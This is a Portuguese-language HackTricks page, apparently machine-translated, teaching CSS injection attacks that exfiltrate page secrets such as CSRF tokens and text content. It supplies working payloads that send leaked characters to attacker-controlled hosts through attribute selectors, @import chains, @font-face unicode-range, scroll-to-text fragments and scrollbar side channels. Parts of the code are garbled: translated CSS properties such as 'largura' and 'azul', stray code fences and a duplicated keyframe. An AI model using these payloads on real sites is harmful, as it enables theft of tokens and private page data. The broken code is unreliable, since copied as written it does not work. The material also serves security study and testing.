CSS Injection

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Grupo de Segurança Try Hard


Injeção de CSS

Seletor de Atributo

Os seletores CSS são elaborados para corresponder aos valores dos atributos name e value de um elemento input. Se o atributo de valor do elemento de entrada começar com um caractere específico, um recurso externo predefinido é carregado:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos de entrada ocultos (type="hidden") porque os elementos ocultos não carregam backgrounds.

Bypass para Elementos Ocultos

Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmão geral ~. A regra CSS então se aplica a todos os irmãos que seguem o elemento de entrada oculto, fazendo com que a imagem de fundo seja carregada:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Um exemplo prático de exploração dessa técnica é detalhado no trecho de código fornecido. Você pode visualizá-lo aqui.

Pré-requisitos para Injeção de CSS

Para que a técnica de Injeção de CSS seja eficaz, certas condições devem ser atendidas:

  1. Comprimento do Payload: O vetor de injeção de CSS deve suportar payloads suficientemente longos para acomodar os seletores criados.

  2. Reavaliação do CSS: Você deve ter a capacidade de enquadrar a página, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.

  3. Recursos Externos: A técnica pressupõe a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Política de Segurança de Conteúdo (CSP) do site.

Seletor de Atributo Cego

Como explicado neste post, é possível combinar os seletores :has e :not para identificar conteúdo mesmo de elementos cegos. Isso é muito útil quando você não tem ideia do que está dentro da página da web que carrega a injeção de CSS. Também é possível usar esses seletores para extrair informações de vários blocos do mesmo tipo, como em:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Combinando isso com a seguinte técnica @import, é possível exfiltrar muitas informações usando injeção de CSS em páginas cegas com blind-css-exfiltration.

@import

A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de enviar vários links para a vítima, ou precisa ser capaz de inserir o CSS na página vulnerável por meio de um iframe.

No entanto, há outra técnica inteligente que usa CSS @import para melhorar a qualidade da técnica.

Isso foi mostrado pela primeira vez por Pepe Vila e funciona assim:

Em vez de carregar a mesma página várias vezes com dezenas de payloads diferentes a cada vez (como na técnica anterior), vamos carregar a página apenas uma vez e apenas com uma importação para o servidor do atacante (este é o payload a ser enviado para a vítima):

@import url('//attacker.com:5001/start?');
  1. A importação vai receber algum script CSS dos atacantes e o navegador irá carregá-lo.

  2. A primeira parte do script CSS que o atacante enviará é outro @import para o servidor dos atacantes novamente.

  3. O servidor dos atacantes não responderá a essa solicitação ainda, pois queremos vazar alguns caracteres e então responder a essa importação com o payload para vazar os próximos.

  4. A segunda e maior parte do payload será um payload de vazamento de seletor de atributo.

  5. Isso enviará para o servidor dos atacantes o primeiro caractere do segredo e o último.

  6. Uma vez que o servidor dos atacantes tenha recebido o primeiro e último caractere do segredo, ele irá responder à importação solicitada no passo 2.

  7. A resposta será exatamente a mesma dos passos 2, 3 e 4, mas desta vez tentará encontrar o segundo caractere do segredo e depois o penúltimo.

O atacante irá seguir esse loop até conseguir vazar completamente o segredo.

Você pode encontrar o código original de Pepe Vila para explorar isso aqui ou você pode encontrar quase o mesmo código, mas comentado aqui.

O script tentará descobrir 2 caracteres de cada vez (do início e do final) porque o seletor de atributo permite fazer coisas como:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Isso permite que o script vaze o segredo mais rapidamente.

Às vezes o script não detecta corretamente que o prefixo + sufixo descoberto já é a bandeira completa e ele continuará para frente (no prefixo) e para trás (no sufixo) e em algum momento ele irá travar. Não se preocupe, apenas verifique a saída porque você pode ver a bandeira lá.

Outros seletores

Outras maneiras de acessar partes do DOM com seletores CSS:

  • .classe-a-buscar:nth-child(2): Isso irá buscar o segundo item com a classe "classe-a-buscar" no DOM.

  • Seletor :empty: Usado, por exemplo, neste writeup:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

XS-Search baseado em erro

Referência: Ataque baseado em CSS: Abusando do unicode-range de @font-face, PoC de XS-Search baseado em erro por @terjanq

A intenção geral é usar uma fonte personalizada de um ponto de extremidade controlado e garantir que o texto (neste caso, 'A') seja exibido com esta fonte apenas se o recurso especificado (favicon.ico) não puder ser carregado.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Uso de Fonte Personalizada:

    • Uma fonte personalizada é definida usando a regra @font-face dentro de uma tag <style> na seção <head>.

    • A fonte é nomeada como poc e é buscada de um endpoint externo (http://attacker.com/?leak).

    • A propriedade unicode-range é definida como U+0041, visando o caractere Unicode específico 'A'.

  2. Elemento de Objeto com Texto de Reserva:

    • Um elemento <object> com id="poc0" é criado na seção <body>. Este elemento tenta carregar um recurso de http://192.168.0.1/favicon.ico.

    • O font-family para este elemento é definido como 'poc', conforme especificado na seção <style>.

    • Se o recurso (favicon.ico) falhar ao carregar, o conteúdo de reserva (a letra 'A') dentro da tag <object> é exibido.

    • O conteúdo de reserva ('A') será renderizado usando a fonte personalizada poc se o recurso externo não puder ser carregado.

Estilizando Fragmento de Rolagem-para-Texto

O pseudo-classe :target é utilizada para selecionar um elemento direcionado por um fragmento de URL, conforme especificado na especificação do Nível 4 dos Seletores CSS. É crucial entender que ::target-text não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.

Uma preocupação de segurança surge quando os atacantes exploram o recurso de Fragmento de Rolagem-para-Texto, permitindo-lhes confirmar a presença de texto específico em uma página da web ao carregar um recurso de seu servidor por meio de injeção de HTML. O método envolve a injeção de uma regra CSS como esta:

:target::before { content : url(target.png) }

Nesses cenários, se o texto "Administrador" estiver presente na página, o recurso target.png é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada por meio de uma URL especialmente elaborada que incorpora o CSS injetado juntamente com um fragmento de rolagem de texto:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Aqui, o ataque manipula a injeção de HTML para transmitir o código CSS, visando o texto específico "Administrador" através do fragmento Scroll-to-text (#:~:text=Administrador). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença ao atacante.

Para mitigação, os seguintes pontos devem ser observados:

  1. Correspondência STTF Restrita: O Fragmento Scroll-to-text (STTF) é projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de vazar segredos ou tokens arbitrários.

  2. Restrição aos Contextos de Navegação de Nível Superior: O STTF opera exclusivamente em contextos de navegação de nível superior e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.

  3. Necessidade de Ativação do Usuário: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques automatizados sem interação do usuário. No entanto, o autor do post do blog destaca condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.

Consciência desses mecanismos e vulnerabilidades potenciais é fundamental para manter a segurança na web e proteger contra táticas exploratórias desse tipo.

Para mais informações, consulte o relatório original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Você pode verificar um exploit usando essa técnica para um CTF aqui.

@font-face / unicode-range

Você pode especificar fontes externas para valores unicode específicos que serão coletados apenas se esses valores unicode estiverem presentes na página. Por exemplo:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Quando você acessa esta página, o Chrome e o Firefox buscam "?A" e "?B" porque o nó de texto de informações sensíveis contém os caracteres "A" e "B". Mas o Chrome e o Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".

Exfiltração de nó de texto (I): ligaduras

Referência: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

A técnica descrita envolve extrair texto de um nó explorando ligaduras de fonte e monitorando mudanças na largura. O processo envolve várias etapas:

  1. Criação de Fontes Personalizadas:

  • Fontes SVG são criadas com glifos tendo um atributo horiz-adv-x, que define uma largura grande para um glifo representando uma sequência de dois caracteres.

  • Exemplo de glifo SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, onde "XY" denota uma sequência de dois caracteres.

  • Essas fontes são então convertidas para o formato woff usando o fontforge.

  1. Detecção de Mudanças de Largura:

  • CSS é usado para garantir que o texto não seja quebrado (white-space: nowrap) e para personalizar o estilo da barra de rolagem.

  • A aparição de uma barra de rolagem horizontal, estilizada de forma distinta, atua como um indicador (oráculo) de que uma ligadura específica, e portanto uma sequência de caracteres específica, está presente no texto.

  • O CSS envolvido:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Processo de Exploração:

  • Passo 1: Fontes são criadas para pares de caracteres com largura substancial.

  • Passo 2: Um truque baseado em barra de rolagem é empregado para detectar quando o glifo de largura grande (ligadura para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.

  • Passo 3: Ao detectar uma ligadura, novos glifos representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere precedente ou sucessivo.

  • Passo 4: A detecção da ligadura de três caracteres é realizada.

  • Passo 5: O processo se repete, revelando progressivamente todo o texto.

  1. Otimização:

  • O método atual de inicialização usando <meta refresh=... não é ótimo.

  • Uma abordagem mais eficiente poderia envolver o truque @import do CSS, aprimorando o desempenho da exploração.

Exfiltração de nó de texto (II): vazando o conjunto de caracteres com uma fonte padrão (sem a necessidade de ativos externos)

Referência: PoC usando Comic Sans por @Cgvwzq & @Terjanq

Este truque foi lançado neste tópico do Slackers. O conjunto de caracteres usado em um nó de texto pode ser vazado usando as fontes padrão instaladas no navegador: não são necessárias fontes externas -ou personalizadas-.

O conceito gira em torno de utilizar uma animação para expandir incrementalmente a largura de um div, permitindo que um caractere por vez faça a transição da parte 'sufixo' do texto para a parte 'prefixo'. Esse processo divide efetivamente o texto em duas seções:

  1. Prefixo: A linha inicial.

  2. Sufixo: A(s) linha(s) subsequente(s).

As etapas de transição dos caracteres apareceriam da seguinte forma:

C ADB

CA DB

CAD B

CADB

Durante essa transição, o truque de intervalo unicode é empregado para identificar cada novo caractere à medida que ele se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, consequentemente acionando uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.

Embora este método permita a detecção de caracteres únicos à medida que aparecem, ele não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.

Basicamente, o intervalo unicode é usado para detectar um caractere, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira. Quando o caractere é encontrado, ele é atribuído à fonte Comic Sans pré-instalada, que o torna maior e aciona uma barra de rolagem que irá vazar o caractere encontrado.

Confira o código extraído do PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```markdown
```css
5% { largura: 120px }
6% { largura: 140px }
7% { largura: 0px }
}

div::-webkit-scrollbar {
background: azul;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: azul var(--leak);
}

Exfiltração de nó de texto (III): vazando o conjunto de caracteres com uma fonte padrão ao ocultar elementos (não exigindo ativos externos)

Referência: Isso é mencionado como uma solução malsucedida neste artigo

Este caso é muito semelhante ao anterior, no entanto, neste caso, o objetivo de tornar caracteres específicos maiores do que outros é ocultar algo, como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Portanto, poderíamos medir a ação (ou a falta de ação) e saber se um caractere específico está presente dentro do texto.

Exfiltração de nó de texto (III): vazando o conjunto de caracteres pelo tempo de cache (não exigindo ativos externos)

Referência: Isso é mencionado como uma solução malsucedida neste artigo

Neste caso, poderíamos tentar vazar se um caractere está no texto carregando uma fonte falsa da mesma origem:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Se houver uma correspondência, a fonte será carregada de /static/bootstrap.min.css?q=1. Embora não seja carregada com sucesso, o navegador deve armazená-la em cache, e mesmo que não haja cache, há um mecanismo de 304 not modified, então a resposta deve ser mais rápida do que outras coisas.

No entanto, se a diferença de tempo entre a resposta em cache e a não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testes, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag disk-cache-size=1, o que é realmente cuidadoso.

Exfiltração de nó de texto (III): vazando o conjunto de caracteres cronometrando o carregamento de centenas de "fontes" locais (não requer ativos externos)

Referência: Isso é mencionado como uma solução malsucedida neste relatório

Neste caso, você pode indicar CSS para carregar centenas de fontes falsas da mesma origem quando ocorrer uma correspondência. Dessa forma, você pode medir o tempo que leva e descobrir se um caractere aparece ou não com algo como:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

E o código do bot se parece com isto:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot é esperado ser de aproximadamente 30 segundos. No entanto, se houver uma correspondência de fonte, várias solicitações serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Portanto, o tempo de resposta pode ser usado como um indicador para determinar se há uma correspondência de fonte.

Referências

Try Hard Security Group

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated